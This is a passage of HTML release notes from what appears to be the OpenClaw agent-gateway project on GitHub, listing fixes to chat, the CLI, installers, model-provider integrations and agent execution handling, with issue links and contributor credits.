data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Release/security: keep generated npm shrinkwrap package versions inside the pnpm lock graph so published package locks cannot bypass pnpm dependency age and override policy.</li>
<li>Cron: honor <code>cron.retry.retryOn: ["network"]</code> for common network error codes such as <code>EAI_AGAIN</code>, <code>EHOSTUNREACH</code>, and <code>ENETUNREACH</code>.</li>
<li>Gateway chat: broadcast returned agent-run error payloads after an agent starts so ACP/WebChat clients receive terminal idle-timeout errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494484146" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84945" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84945/hovercard" href="https://github.com/openclaw/openclaw/issues/84945">#84945</a>.</li>
<li>Gateway chat display: preserve OpenAI-compatible <code>prompt_tokens</code>, <code>completion_tokens</code>, and <code>total_tokens</code> usage fields in sanitized chat history so llama.cpp sessions keep context counts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386102968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77992" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77992/hovercard" href="https://github.com/openclaw/openclaw/issues/77992">#77992</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarTT79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarTT79">@MarTT79</a>.</li>
<li>Dashboard/CLI: allow macOS browser launching through <code>open</code> even when SSH environment variables are present, while preserving Linux SSH no-display protection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267511627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67088" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67088/hovercard" href="https://github.com/openclaw/openclaw/issues/67088">#67088</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/theglove44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/theglove44">@theglove44</a>.</li>
<li>Codex app-server: keep native web search observations out of mirrored chat transcripts while preserving tool progress telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498152488" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85109" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85109/hovercard" href="https://github.com/openclaw/openclaw/issues/85109">#85109</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ugitmebaby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ugitmebaby">@ugitmebaby</a>.</li>
<li>OpenCode Go: strip unsupported Kimi reasoning replay fields before provider requests so repeated <code>kimi-k2.6</code> turns do not fail schema validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473302434" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83812" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83812/hovercard" href="https://github.com/openclaw/openclaw/issues/83812">#83812</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sleeck/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sleeck">@Sleeck</a>.</li>
<li>Browser/CDP: add a WSL2 portproxy self-loop hint when Chrome DevTools endpoints accept connections but return an empty HTTP reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4189130225" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59209" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59209/hovercard" href="https://github.com/openclaw/openclaw/issues/59209">#59209</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Owlock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Owlock">@Owlock</a>.</li>
<li>Agents/OpenAI: preserve structured provider error code, type, and redacted body metadata on boundary-aware transport failures.</li>
<li>Doctor/Codex: point native Codex asset warnings at the canonical <code>openclaw migrate plan codex</code> preview command. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494538415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84948" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84948/hovercard" href="https://github.com/openclaw/openclaw/issues/84948">#84948</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/markoa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/markoa">@markoa</a>.</li>
<li>CLI/models: make <code>capability model auth logout --agent</code> remove auth profiles from the selected non-default agent store. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497811024" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85092" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85092/hovercard" href="https://github.com/openclaw/openclaw/issues/85092">#85092</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>Gateway/models: reuse prepared provider auth metadata during model-listing auth checks so repeated lookups avoid broad plugin discovery while preserving synthetic local auth.</li>
<li>CLI/status: suppress systemd user-service setup hints when <code>openclaw status --deep</code> can already reach a running Gateway RPC service. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497813806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85094" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85094/hovercard" href="https://github.com/openclaw/openclaw/issues/85094">#85094</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>CLI/devices: recover local approval when a same-device repair request replaces the request ID being approved.</li>
<li>CLI/agents: retry transient normal-close Gateway handshakes before falling back to embedded <code>openclaw agent</code> execution.</li>
<li>CLI/update: keep managed Gateway service stop/restart status lines out of <code>openclaw update --json</code> stdout so package-update automation can parse the JSON payload.</li>
<li>Plugins: resolve OpenClaw plugin SDK subpaths for native external plugin runtimes without mutating package installs or broadening process-wide module resolution.</li>
<li>Agents/OpenAI: preserve Responses and Chat Completions <code>reasoning_tokens</code> usage metadata without double-counting it in aggregate output tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502043775" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85319" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85319/hovercard" href="https://github.com/openclaw/openclaw/pull/85319">#85319</a>)</li>
<li>Control UI/chat: convert pasted <code>data:image/...;base64,...</code> clipboard text into an image attachment instead of dumping the payload into the composer. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4219271267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62604/hovercard" href="https://github.com/openclaw/openclaw/issues/62604">#62604</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cpwilhelmi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cpwilhelmi">@cpwilhelmi</a>.</li>
<li>Providers/Gemini: strip fractional seconds from web-search time range filters so Gemini accepts freshness-bound search requests. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497228388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85071" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85071/hovercard" href="https://github.com/openclaw/openclaw/pull/85071">#85071</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noerr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noerr">@Noerr</a>.</li>
<li>OpenAI Codex: preserve image input support for sparse <code>openai-codex/gpt-5.5</code> catalog rows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497838305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85095" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85095/hovercard" href="https://github.com/openclaw/openclaw/pull/85095">#85095</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sercada/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sercada">@sercada</a>.</li>
<li>CLI/models: add a piped or pasted API-key path for OpenAI Codex auth and warn when API keys are pasted into token-mode auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506010459" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85533/hovercard" href="https://github.com/openclaw/openclaw/pull/85533">#85533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: dead-letter missing-harness isolated ingress failures so a poisoned spooled update no longer blocks later same-lane messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504658446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85470" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85470/hovercard" href="https://github.com/openclaw/openclaw/issues/85470">#85470</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506677758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85605" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85605/hovercard" href="https://github.com/openclaw/openclaw/pull/85605">#85605</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Plugins/discovery: strip <code>-plugin</code> package suffixes when deriving plugin id hints so package names line up with manifest ids. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499184691" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85170" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85170/hovercard" href="https://github.com/openclaw/openclaw/pull/85170">#85170</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JulyanXu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JulyanXu">@JulyanXu</a>.</li>
<li>Tlon: stop advertising a non-existent agent tool contract in the plugin manifest.</li>
<li>Telegram: preserve fenced code block languages through Markdown rendering so Telegram receives <code>language-*</code> code classes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499735731" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85209" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85209/hovercard" href="https://github.com/openclaw/openclaw/pull/85209">#85209</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Windows installer: run npm and Corepack command shims from a Windows-local directory so installs launched from WSL2 UNC paths do not fail before OpenClaw is installed.</li>
<li>Windows updates: roll back git-backed updates to the previous checkout when dependency install, build, UI build, or doctor repair fails.</li>
<li>Windows installer: persist user-local portable Git on PATH and activate the repo-pinned pnpm version for git-backed installs and updates.</li>
<li>Windows installer: bootstrap a user-local portable Node.js when native Windows has no Node and no winget, Chocolatey, or Scoop, so first-run installs can continue on raw hosts.</li>
<li>Windows installer: extract the downloaded portable Node.js directory with native <code>tar</code> before falling back to .NET zip extraction, avoiding PowerShell 5.1 archive and path-length failures.</li>
<li>fix(integrations): enforce channel read target allowlists [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495452049" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84982" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84982/hovercard" href="https://github.com/openclaw/openclaw/pull/84982">#84982</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Agents/heartbeat: route single-owner <code>session.dmScope=main</code> direct-message exec and cron event wakes back to the agent main session so async completions no longer strand context in orphan direct-DM queues. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328109968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71581" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71581/hovercard" href="https://github.com/openclaw/openclaw/issues/71581">#71581</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472187030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83743" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83743/hovercard" href="https://github.com/openclaw/openclaw/pull/83743">#83743</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code-mode: expose outer code-mode <code>exec</code> source through the <code>command</code> hook alias with <code>toolKind</code>/<code>toolInputKind</code> discriminators so exec-shaped policies can distinguish code-mode cells. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466955914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83483/hovercard" href="https://github.com/openclaw/openclaw/pull/83483">#83483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code mode: return structured timeout and runtime-unavailable error codes for known worker failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465759055" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83389" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83389/hovercard" href="https://github.com/openclaw/openclaw/issues/83389">#83389</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466377793" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83444/hovercard" href="https://github.com/openclaw/openclaw/pull/83444">#83444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>QA-Lab: isolate multi-scenario suite workers when scenarios need startup config patches, preventing message-routing config from leaking into unrelated scenarios.</li>
<li>QA-Lab: make the commitments heartbeat-target-none scenario request an immediate heartbeat instead of waiting for the next scheduled heartbeat.</li>
<li>Codex/Plugin SDK: deliver Codex-native subagent completions through a generic harness task runtime so harness-backed plugins can mirror durable task lifecycle and completion delivery without Codex-specific SDK imports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466398711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83445" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83445/hovercard" href="https://github.com/openclaw/openclaw/pull/83445">#83445</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bryanpearson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bryanpearson">@bryanpearson</a>.</li>
<li>Gateway CLI: surface local post-challenge connect assembly failures immediately instead of waiting for the wrapper timeout. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290747635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68944" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68944/hovercard" href="https://github.com/openclaw/openclaw/issues/68944">#68944</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500376302" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85253" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85253/hovercard" href="https://github.com/openclaw/openclaw/pull/85253">#85253</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Messages: strip unsupported web-search citation control markers from outbound replies before they reach WebChat or external channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499543395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85193" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85193/hovercard" href="https://github.com/openclaw/openclaw/issues/85193">#85193</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499683212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85204" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85204/hovercard" href="https://github.com/openclaw/openclaw/pull/85204">#85204</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Agents/exec: treat denied exec approvals as terminal instead of feeding them back into agent follow-up work, and recognize Chinese stop phrases in abort handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4297018430" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69386" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69386/hovercard" href="https://github.com/openclaw/openclaw/issues/69386">#69386</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499556034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85194" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85194/hovercard" href="https://github.com/openclaw/openclaw/pull/85194">#85194</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/agents: abort accepted Gateway-backed <code>openclaw agent</code> runs on SIGINT/SIGTERM so cron and supervisor timeouts do not leave remote agent work alive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328934502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71710" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71710/hovercard" href="https://github.com/openclaw/openclaw/issues/71710">#71710</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482298414" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84381" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84381/hovercard" href="https://github.com/openclaw/openclaw/pull/84381">#84381</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Codex app-server: retry replay-safe stdio client-close turns once using structured failure metadata, while surfacing idle <code>turn/completed</code> timeouts instead of blindly replaying active shared-server turns. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Codex app-server: reject command overrides that embed Node or package-manager arguments and point users to <code>appServer.args</code>, so Windows startup avoids shell parsing failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482924887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84417" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84417/hovercard" href="https://github.com/openclaw/openclaw/pull/84417">#84417</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Agents/Copilot: drop unsafe GitHub Copilot Responses reasoning replay items before send so Telegram direct sessions no longer fail on overlong replay IDs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499593497" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85197" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85197/hovercard" href="https://github.com/openclaw/openclaw/issues/85197">#85197</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499597293" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85198" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85198/hovercard" href="https://github.com/openclaw/openclaw/pull/85198">#85198</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>UI: add accessible tooltips to the topbar color-mode buttons so System, Light, and Dark choices are labeled on hover and focus. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499909774" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85227" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85227/hovercard" href="https://github.com/openclaw/openclaw/pull/85227">#85227</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>fix: constrain Windows task script names [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497094133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85064" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85064/hovercard" href="https://github.com/openclaw/openclaw/pull/85064">#85064</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Control UI: keep the chat session picker from hiding older or cross-agent configured conversations while preserving the bounded configured-agent refresh. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499767279" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85211" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85211/hovercard" href="https://github.com/openclaw/openclaw/pull/85211">#85211</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/Anthropic: preserve unsafe integer tool-call input values in streamed Anthropic tool-use JSON, preventing Discord-style IDs from being rounded before dispatch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078181831" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47229" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47229/hovercard" href="https://github.com/openclaw/openclaw/issues/47229">#47229</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463230716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83063" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83063/hovercard" href="https://github.com/openclaw/openclaw/pull/83063">#83063</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Agents/Codex: estimate tool-heavy prompt pressure at the LLM boundary before provider submission, so persistent sessions compact before overflowing context windows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506085390" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85541" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85541/hovercard" href="https://github.com/openclaw/openclaw/pull/85541">#85541</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/hooks: wait for local one-shot CLI and Codex <code>agent_end</code> plugin hooks before process cleanup so terminal observability flushes reliably. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495920076" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85007" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85007/hovercard" href="https://github.com/openclaw/openclaw/pull/85007">#85007</a>)</li>
<li>Providers/Google: preserve Gemini 3 cron <code>thinkingDefault: "low"</code> when stale catalog metadata says <code>reasoning:false</code>, so scheduled runs keep provider-supported thinking instead of downgrading to off. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499385810" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85185/hovercard" href="https://github.com/openclaw/openclaw/pull/85185">#85185</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>CLI/agents: allow <code>openclaw agent --session-key</code> to target explicit session keys, including agent-scoped legacy keys. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498501242" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85121" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85121/hovercard" href="https://github.com/openclaw/openclaw/pull/85121">#85121</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Auto-reply/ACP: wait for same-channel block reply delivery before starting tool work, while still honoring ACP dispatch aborts so stopped turns do not wait on slow channel sends. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471527952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83722/hovercard" href="https://github.com/openclaw/openclaw/pull/83722">#83722</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Codex/ACP: mark required child-run completions that only report progress, omit a final deliverable, or fail requester delivery as blocked while preserving real final reports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498172824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85110" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85110/hovercard" href="https://github.com/openclaw/openclaw/pull/85110">#85110</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Channels: treat bare abort messages such as <code>stop</code>, <code>abort</code>, and <code>wait</code> as immediate control commands in inbound debounce paths so stop requests are not delayed behind pending message coalescing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465477899" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83348/hovercard" href="https://github.com/openclaw/openclaw/pull/83348">#83348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
